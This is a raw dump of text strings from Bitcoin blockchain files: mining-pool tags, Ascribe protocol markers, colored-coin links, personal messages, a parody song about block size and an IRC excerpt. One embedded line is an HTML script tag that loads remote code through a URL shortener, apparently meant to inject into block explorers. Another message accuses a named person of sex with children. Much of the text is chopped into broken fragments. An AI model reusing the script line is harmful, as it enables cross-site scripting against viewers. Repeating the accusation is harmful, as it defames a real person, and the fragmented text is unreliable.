u=https://cpr.sm/AZvuJ8TMV-
Mined by AntPool bj6
Mined by AntPool sc1
Mined by AntPool bj5
Mined by AntPool sc1
Mined by AntPool sz0
\000000000000000023:
TESTING BITCOIN CHAN
>000000000000000018|
TESTING SMALL FILEth
umbs_up.png<00000000
}|}}|}}|}}|}}|}}|}}|
}}|}}|}}|}}|}}|}}|}}
(j&rhotcWYdfn6qxhVMbPKGDF3XCKqwXar5J4:xrp
Mined by AntPool usa1"
(j&rhotcWYdfn6qxhVMbPKGDF3XCKqwXar5J4:xrp
Mined by AntPool usa1"
/000000000000000005"
Mined by f2poolhaobtc
SIG*0000088?G9Rsg2Xt
70uipehcDxQGAFr0P9om
YAdcyQp9z6rGaaS6Jc6q
qWFKe7jUKTXDdIfiwBMm
jgosOdhGb9KC0Q23k1Y=
?000000000000000012"
SIG>0000088<G1+Mm1zL
vkQW2cvgBvJTqiWTmVOX
qmHaLU04eMkGCItORYwN
qhPCkQ+fpJT9Hv3Nvkm3
YbkosUAo3PBAn3lwiDo=
*000000000000000039<
Please Respond. We
SIG<0000088|HN9z0AfS
kUWxrjGfZmCEBC5mwda/
P1hBh3keRl+Hib88dVJn
wvaS8JQoRY4uvcjGnkCI
AZ15SspMHBWi3rcE7TQ=
>000000000000000118<
you can reply direct
ly using #Apertus 0.
3.0 and including @1
embiivpxfdUfLKLp4LJM
MtjYvK6c2EJA <-- in
Apertus#############
Mined by chenguanghai
Mined by sjq2544946900
)Mined by AntPool sc0
ASCRIBESPOOLREGISTER
5Mined by AntPool sc0
www.CarlEvangelista.com Ud
wMined by ldh1017186861
9Mined by AntPool bj5
Wilhelm Cybermining Company Ud
Mined by AntPool usa1"
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
#j!ASCRIBESPOOLREPLENISH150526150527
Mined by AntPool bj5
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLLOAN150526150527
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
#j!ASCRIBESPOOLREPLENISH150526150528
ASCRIBESPOOLLOAN150526150528
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
Mined by AntPool bj24
u=https://cpr.sm/AZvuJ8TMV-8]
u=https://cpr.sm/AZvuJ8TMV-
Mined by f2poolscant
Mined by diwenbin521
Mined by yifankeji128
u=https://cpr.sm/AZvuJ8TMV-h
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1"
Mined by AntPool bj0%m
Mined by ll185745252
ASCRIBESPOOLREGISTER
Mined by AntPool bj24
u=https://cpr.sm/i_JRy_4sj0
Mined by tigredeviento
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
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Mined by AntPool bj7
u=https://cpr.sm/Mif8vS_AjE
#j!ASCRIBESPOOLREPLENISH150512150915
Mined by AntPool bj6
ASCRIBESPOOLLOAN150512150915
Mined by AntPool bj0%m
ASCRIBESPOOLREGISTER
Mined by f2poolscant
Mined by AntPool usa1"
Mined by f2poolscant
Mined by feifeikuanggong
Mined by AntPool sc0
https://goo.gl/g1CTKj
+https://mining.bitcoinaffiliatenetwork.com/
https://goo.gl/g1CTKj
u=http://dev.chroma.io/AL3zSwPc
Mined by AntPool usa1"
Mined by AntPool sc0
SIG/0000088*G6MpNZHp
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XS+ELhKPy+TiSE0JHQL2
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|000000000000000117\
John Forbes Nash, Jr
. (June 13, 1928 - M
January 1, 1933 - Ma
hWedding.jpg<0000000
CDEFGHIJSTUVWXYZcdef
FGHIJSTUVWXYZcdefghi
RIP#################
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RIP#################
Mined by AntPool sc0
Mined by AntPool usa1"
Mined by AntPool bj5
Mined by AntPool bj5
Mined by AntPool sc0
'Mined by AntPool sc1
Mined by pdsguoliucheng
7Mined by AntPool usa1"
-i www.hassocksmining.co.uk Ue,
3Mined by AntPool sc0
http://open-bit.co.in Ue0
Mined by ldh1017186861
Mined by f2poolscant
9Mined by AntPool sc0
http://goodworld.me #donate UeB
$Mined by AntPool sz0
7Mined by AntPool usa1"
-i What I am buying here? UeR
Mined by AntPool usa1"
Mined at GIVE-ME-COINS.comUeV5
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
Mined by AntPool bj7
Mined by AntPool bj7
Mined by AntPool usa1"
Mined by cjs18665506868
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by dd18905616666
Mined by AntPool sc0
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
Mined by AntPool sc0
ASCRIBESPOOLREPLENISH
Mined by AntPool usa1"
ASCRIBESPOOLTRANSFER
+https://mining.bitcoinaffiliatenetwork.com/
File: blk00275.txt
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
#j!ASCRIBESPOOLREPLENISH150527150528
Mined by AntPool sc0
ASCRIBESPOOLLOAN150527150528
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLUNCONSIGN
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
@Mined by zhenglin2014
Yan & Nadine forever
Mined by AntPool sc1
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
u=https://coloredcoin.io/csch
ASCRIBESPOOLREGISTER
u=https://coloredcoin.io/csc(
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool bj24
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
u=http://dev.chroma.io/AZePpQP8
u=http://dev.chroma.io/ATyPqBAY
Mined by AntPool sc0
u=https://coloredcoin.io/csch
2Mined by AntPool bj6
< open.bit.co.in: hash Ufd0
6Mined by AntPool sc1
www.hassocksmining.co.uk Ufi
Mined by AntPool usa1"
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(j&rs5AnvGhjFtoiDuBRAc3DWnRfL7fQSM8ny:usd
Mined by AntPool bj0%m
Mined by AntPool bj6
u=https://cpr.sm/sxaNw26Wf4
u=https://cpr.sm/DjSgUtVa8u
Mined by AntPool sc0
Mined by AntPool sz0
Mined by mikeyandcoffee
Mined by xueyuan5lou
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Mined by AntPool sc1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by ly13013997339
Mined by AntPool usa1"
Mined by AntPool usa1"
Mined by AntPool sc1
Mined by qq772641164
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
Mined by AntPool sz0
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
+https://mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLTRANSFER
u=https://coloredcoin.io/csc
Mined by chenliang1982
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
Mined by AntPool bj7
Mined by a3164808125
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool bj7
Mined by AntPool usa1"
Mined by AntPool usa1"
u=https://coloredcoin.io/dmt
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/cscX
Mined by AntPool sc0
u=https://coloredcoin.io/csc
Mined by AntPool bj0%m
u=https://cpr.sm/gTIstwWW2f
Mined by AntPool bj5
u=https://cpr.sm/vQA5QW7Vs0
Mined by AntPool usa1"
u=https://goo.gl/cSeZUpX
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
u=https://cpr.sm/5QCWCT2VgN
u=https://goo.gl/QUCySR
Mined by AntPool sc0
Mined by AntPool usa1"
Mined by AntPool sc0
+https://mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj24
SIG\0000088/HC1LI3wN
Y4i5Oy4cY8ZYpAGp8J3j
OrtD+A9hnCsKGiYBEMBp
MeDI3Kqrr3lB+o/RfSfw
GwF3eWAPaY/JjdEBwyU=
|000000000000000049*
Moving all further t
esting to the testne
(Mined by AntPool bj6
ASCRIBESPOOLREGISTER
|000000000000000066\
Even when the whole
world forgets my nam
e. I'm still here.
EMBII###############
SEC"0000000000000000
EMBII###############
6383e3902c43d884606f
6dca617f20582e96161b
48ef14b49156dfa5cc2f
4b08?330"6383e3902c4
3d884606f6dca617f205
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7221fd3c20f7eade6d98
e06de9f8e047612b4a71
EMBII###############
;Mined by AntPool usa1"
-i Shawna T & Carl R 4EVER 2015 Ug
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc0
u=https://cpr.sm/riQ1PdB8860
magch:95381785c3fb446df35c5b4a8e5ef167dcb72011
Mined by zym914944657
Mined by AntPool usa1"
u=https://cpr.sm/Hjoz216QhS
u=https://cpr.sm/Hjoz216QhSX
'j%<script src=www.tr.im/YgnZs></script>
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Mined by AntPool bj6
u=https://cpr.sm/dyTLNBAtbu
Mined by AntPool usa1"
Mined by hnucpcoolcs02
Mined by AntPool sc0
Mined by AntPool bj24
Mined by AntPool usa0
Mined by AntPool sc1
email me: me@ameo.link
Mined by AntPool bj6
Mined by AntPool bj7
Mined by AntPool sc0
u=https://cpr.sm/AZvuJ8TMV-
Mined by AntPool usa0
Mined by AntPool usa1"
Mined by qq3170489017
ASCRIBESPOOLREGISTER
(j&rs5AnvGhjFtoiDuBRAc3DWnRfL7fQSM8ny:eur
(j&rs5AnvGhjFtoiDuBRAc3DWnRfL7fQSM8ny:eur
Mined by bao105244124
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
(j&rs5AnvGhjFtoiDuBRAc3DWnRfL7fQSM8ny:usd
u=https://coloredcoin.io/dmtX
Mined by AntPool bj6
File: blk00276.txt
u=https://cpr.sm/_0dMi6GCDn8]
Mined by AntPool usa1"
u=https://goo.gl/7prbDk
Mined by AntPool bj24
Mined by AntPool bj24
Mined by zhangzhong19821
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
Mined by f2poolhaobtc
Mined by AntPool usa1"
u=https://cpr.sm/_0jY3y3VP6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/cscX|
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/cscXc
u=https://cpr.sm/A8HA3DlF9n
Mined by AntPool bj5
DHG, IB, DJN, JF, DN, IB
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
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email me: me@ameo.link
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Mined by AntPool sc0
Mined by AntPool sc0
u=https://cpr.sm/Mif8vS_AjE
Mined by AntPool usa0
Mined by AntPool usa1"
Mined by AntPool sc1
Mined by nanjingzhai
Mined by AntPool usa1"
u=https://cpr.sm/x4UvjaFJ1M
u=https://cpr.sm/UI5B5L2_Ug8]
Mined by AntPool bj7
+https://mining.bitcoinaffiliatenetwork.com/
*j(0x444f4350524f4f46c2090bb5ddf9d22ba7c8d7l5
*j(ab8dff72668b7b076b69ce3f3405babec19e5b1a\
megabigpower.comUiI2^
Mined by AntPool bj6
Mined by AntPool bj7
Mined by AntPool sz0
u=https://cpr.sm/L1SxNjqbJ9X
)j'If you see this, email me: me@ameo.link
+https://mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1
Mined by f2poolscant
Mined by AntPool bj1.:
Mined by AntPool bj6
Mined by AntPool bj7
Mined by AntPool sc0
Mined by f2poolscant
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool bj5
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool bj1.:
ASCRIBESPOOLREGISTER
Mined by wlf15955483528
Mined by AntPool bj7
Mined by AntPool sc0
SjLPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mined by qq669280662
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/csc
u=https://coloredcoin.io/cscXJ
u=https://coloredcoin.io/csc
Mined by AntPool bj1.:
Mined by AntPool sc1
Mined by AntPool sc0
Mined by AntPool usa1"
Mined by AntPool usa1"
IMined by f2poolhaobtc
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
7Mined by AntPool bj6
< Buzzdron.com - Dev PR SEO Ujv
.Mined by AntPool bj5
I love you Emily Uj
(Mined by AntPool usa1"
%Mined by AntPool sz0
9Mined by AntPool sc0
Yep, definitely dating Erin Uj
Mined by AntPool usa1"
Detroit Water Project FTW!
)j'if you see this, email me: me@ameo.link
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool bj6
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
Mined by AntPool usa1"
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj1.:
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
#j!ASCRIBESPOOLREPLENISH150531150605
ASCRIBESPOOLLOAN150531150605
Mined by AntPool usa1
Mined by AntPool sc0
Mined by AntPool sc0
uMined by f2poolscant
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
Mined by AntPool usa1
Mined by AntPool usa1
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined at GIVE-ME-COINS.comUk@
Mined by AntPool sc1
Mined by AntPool sc1
Mined by AntPool bj7
Mined by AntPool sc1
Mined by AntPool bj5
File: blk00277.txt
Mined by AntPool sc1
u=https://gethashing.com/a/ghx
Mined by AntPool bj7
&Mined by f2poolhaobtc
Mined by zjx329154546
ASCRIBESPOOLREGISTER
Mined by AntPool usa1
Mined by AntPool sc0
Mined by AntPool sc0
u=https://cpr.sm/FUpnAPffsAP
Mined by AntPool bj7
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Mined by AntPool usa1
Mined by startover219
Mined by AntPool usa1
Mined by AntPool bj1.:
Electronic Arts is a
piece of shit compa
I cannot install a g
ame (Sims 4) my sist
er bought from them
software platform O
rigin does not accep
he reason I have to
help her is that she
's a Linux user and
Sims 4 on Linux on
her own. I have to h
Apparently she alrea
dy used the serial k
ey but the game fail
I have to deal with
it but since the ke
sed I am not able to
do anything. Her Or
igin account is lost
terally wasting my t
ime. An hour of my f
than your lousy game
and this is what re
o express my rage ag
ainst EA I am donati
Mined by AntPool bj1.:
Mined by AntPool sc1
ASCRIBESPOOLREGISTER
Mined by AntPool bj7
Mined by AntPool usa1
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
$Mined by AntPool bj5
Mined by florinstefan
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by f2poolscant
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
+https://mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
#backend pantoliano
#frontend weaving
#ux foster
Red pill? ascribe.io/jobs
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
#backend pantoliano
#frontend weaving
#ux foster
$j"ascribe is hiring! ascribe.io/jobs
$Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by xushiming123
Mined by AntPool usa1
Mined by AntPool usa1
Mined by AntPool sc0
ASCRIBESPOOLREPLENISH
ASCRIBESPOOL01REGISTER1
ASCRIBESPOOL01REGISTER1
Mined by AntPool bj1.:
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
Mined by AntPool bj6
u=https://cpr.sm/hVrS39_PeQ
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01EDITIONS2
ASCRIBESPOOL01REGISTER0
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ASCRIBESPOOL01REGISTER0
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ASCRIBESPOOLREGISTER
ASCRIBESPOOL01EDITIONS2
ASCRIBESPOOL01REGISTER2
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER2
Mined by AntPool usa1
ASCRIBESPOOL01TRANSFER2
ASCRIBESPOOL01EDITIONS2
ASCRIBESPOOL01REGISTER0
u=https://cpr.sm/Mif8vS_AjE
ASCRIBESPOOL01EDITIONS2
u=https://cpr.sm/Mif8vS_AjE
u=https://cpr.sm/Mif8vS_AjE
ASCRIBESPOOL01REGISTER1
Mined by lixiaokt1worker
ASCRIBESPOOL01TRANSFER1
ASCRIBESPOOLREGISTER
u=https://cpr.sm/hVrS39_PeQ
u=https://cpr.sm/hVrS39_PeQ0
Hello, Hyena and Tea
ce service http://cr
This donation is int
ended to fund the de
velopment of Miltila
nguage User Interfac
Mined by f2poolhaobtc
Mined by AntPool bj5
u=https://cpr.sm/_W64nt2PVb
Mined by AntPool usa1
u=https://cpr.sm/_W64nt2PVbp
u=https://cpr.sm/_W64nt2PVb
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
--------------------
I like big blocks and I can not lie
You other miners can't deny
That when a blocks comes through with an itty bitty fee
And big data in your face
You get fucked, wanna pull your rig
'Cause you notice that power was wasted
Deep in the chain it's pending
I'm hashing and I can't stop bankin'
Oh Gavin, I wanna get with ya
And compile code with ya'
Other miners tried to warn me
But that block size you got makes me so horny
Ohh, Hash-o'-big-blocks
You say you wanna get in my block?
Well, use me, use me
'Cause you ain't that average /r/bitcoin groupie
I've seen them chattin'
And to the hell with patents'
You're fast, big
Got it goin' like a Josh Garza
I'm tired of solo pools
Sayin that block rewards are a thing
Take the average miner and ask him that
He gotta mine more blocks
So, bitters! (Yeah!) Bitters! (Yeah!)
Have your blocks got the space? (Hell NO!)
Tell em' to increase it! (Increase it!) Increase it! (Increase It!)
Increase that damn block size.
Baby's got blocks.
-https://www.reddit.com/r/Bitcoin/comments/354nrp/gavin_be_like/cr0z1ie
u=https://cpr.sm/_W64nt2PVb
u=https://cpr.sm/_W64nt2PVb8s
u=https://cpr.sm/_W64nt2PVb
u=https://cpr.sm/_W64nt2PVbh
u=https://cpr.sm/_W64nt2PVb
u=https://cpr.sm/_W64nt2PVb
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/_W64nt2PVb0
Mined by AntPool sc0
Mined by AntPool sc0
-Mined by f2poolscant
Mined by sww11005088
u=https://cpr.sm/GsgrGzVR688]
Mined by AntPool bj7
Mined by AntPool usa0
Mined by xiaojianying
Mined by AntPool usa1
Mined by zhang876438
Mined by AntPool sc0
Mined by AntPool bj1.:
ASCRIBESPOOLREGISTER
Mined by AntPool usa1
Mined by zhenglin2014
Mined by AntPool sc0
Mined by AntPool usa1
Mined by AntPool bj5
Mined by AntPool usa1
Mined by AntPool usa1
Mined by AntPool usa1
Mined by wujunyong111
Mined by AntPool bj1.:
ASCRIBESPOOLREGISTER
Mined by AntPool usa1
Mined by AntPool sc0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
Mined by AntPool sc0
ASCRIBESPOOL01EDITIONS3
Mined by AntPool bj1.:
Mined by AntPool sc0
Mined by supercloud2014
Mined by AntPool sc0
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01REGISTER0
Mined by zhenglin2014
ASCRIBESPOOL01EDITIONS3
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01EDITIONS3
ASCRIBESPOOL01REGISTER1
ASCRIBESPOOL01REGISTER2
Mined by AntPool sc0
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOL01REGISTER3
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOL01REGISTER0
ASCRIBESPOOL01EDITIONS10
ASCRIBESPOOL01REGISTER1
ASCRIBESPOOL01TRANSFER1
Mined by AntPool sc0
ASCRIBESPOOL01REGISTER2
ASCRIBESPOOL01REGISTER3
"Daniel Michael Abra
ham [ 05/12/1985 ] -
If you see nuclear
next! Putate(Mating
with 12 year old gir
ls), { Why lose free
abraham.info/ @ 1EW6
G5DfewxJtAintR1pwVR6
hain.info / ECDSA Si
gnature [ G0Tzer0Yrz
S/0rYFH/8CRbCxHVJ9R6
PMKIobUifLibJ5co5O1b
6yybzqtTIlU/tLG+78=
ASCRIBESPOOL01CONSIGN3
ASCRIBESPOOL01UNCONSIGN3
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj6
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
"j ASCRIBESPOOL01LOAN3/150602150604
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
u=https://cpr.sm/hVrS39_PeQ
Mined by AntPool bj7
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by digcoinwgs3
Mined by AntPool usa1
Mined by AntPool bj7
u=https://cpr.sm/hVrS39_PeQ`
File: blk00278.txt
Mined by AntPool bj6
*j(444f4350524f4f46217a24e6bb379e6784895155
*j(0939bec6af39d9e6a842af09f490c6905b56ac52
Mined by AntPool usa1
Mined by AntPool sc1
u=https://cpr.sm/032EpEo_5K8]
ASCRIBESPOOLREGISTER
Mined by AntPool bj5
Mined by AntPool bj7
Mined by AntPool sc0
+https://mining.bitcoinaffiliatenetwork.com/
SIG:0000088*G4IlGDK0
OZ7868S+jYNg5czJ/9YJ
eC7tnMy8522/RTj5NRZf
sXsx089Z+yXqagbMA2KB
WjSxWFZh1Ifxoy59mOg=
*000000000000000058<
Present Earth Visito
rs Please respond.
Contact#############
u=https://cpr.sm/032EpEo_5K
Mined by AntPool bj7
+https://mining.bitcoinaffiliatenetwork.com/
-Mined by AntPool sc1
Happy everyday UnlP
)Mined by AntPool bj5
Mined by AntPool usa0
Mined by AntPool sc0
Mined by AntPool bj1.:
Mined by AntPool usa1
Mined by wangting369
Mined by AntPool sc1
Alex Millar Blockai Test -Raw P
Mined by AntPool usa1
Mined by AntPool bj1.:
https://i.imgur.com/V3AgeW9.jpg
Mined by AntPool bj6
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by chenliang1982
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLTRANSFER
ASCRIBESPOOLREGISTER
+https://mining.bitcoinaffiliatenetwork.com/
Mined by browncapital
Mined by AntPool bj1.:
ASCRIBESPOOL01REGISTER1
blockCITE - Hello World!
blockCITE - Hello World!
Mined by AntPool bj6
Mined by digcoinwgs3
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u=https://cpr.sm/CmBnaMNvPo
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Mined by AntPool usa1
Mined by zhenglin2014
u=https://cpr.sm/d80ftgcM9n(6
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u=https://cpr.sm/FwSgjk4Iu2
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ASCRIBESPOOL01EDITIONS2
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Nature loves to hide
It seems that certai
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t News: EU/Greece ch
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ti: Donate BTC: 1MVp
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t News: EU/Greece ch
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upa - https://bitcoi
n-otc.com/viewrating
detail.php?nick=supa
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rg/index.php?topic=5
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coin-otc users, owin
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:Mined by digcoinwgs3
Mined by AntPool sc0
Cool vids and posts,
Daniel (https://dia
sp.org/u/danmabraham
File: blk00279.txt
http://cryptograffit
hank you for your fe
edback! Love the res
s to hide." - Very i
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Mined by AntPool bj5
3Mined by digcoinwgs3
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7 0 csx 6247,
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1Mined by AntPool bj6
< The World Is Yours! Up
u=https://cpr.sm/3treqeQrdG8]
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6 I love you Jasmine. :p Uq
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u=https://cpr.sm/GVXmGwR66W(6
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6 Make her more beautiful, btc UrA
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-BTCChina Pool Everyone will use BitCoin by JF
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BTCChina Pool Hail Excellion
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HBTCChina Pool provide trustworthy & convenient Digital Currency services
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fBBTCChina Pool Everyone will use BitCoin
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ASCRIBESPOOL01EDITIONS2
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Who is Variety Jones?
22:45 < warren> jgarzik: if you aren't near one of the consulates there are some companies that will charge you money to do it...
22:47 < HM3> gmaxwell, the schnorr construction is just cleaner algebraically, and I like that you can't do public key recovery
22:48 < gmaxwell> ::shrugs:: Not really more than anything else that does the same thing, and its compatible.
22:48 < gmaxwell> HM3: yea, sure, I like schnorr too, but randomness isn't an argument for it.
22:49 < HM3> the lack of a need for a perfect RNG during signing is
22:50 < gmaxwell> HM3: DSA and Schnorr are the same in that regard. You derandomize them both under the same method
22:50 < HM3> sure but schnorr requires that construction to work
22:51 < gmaxwell> HM3: no they don't, go look at the schnorr patent. It's described using a random k.
22:52 < HM3> no I mean Schnorr is H(m||rG) and during verification you have to compute the candidate rG and recalculate H(m||rG)
22:52 < warren> "go look at the * patent" told to another engineer is wise?
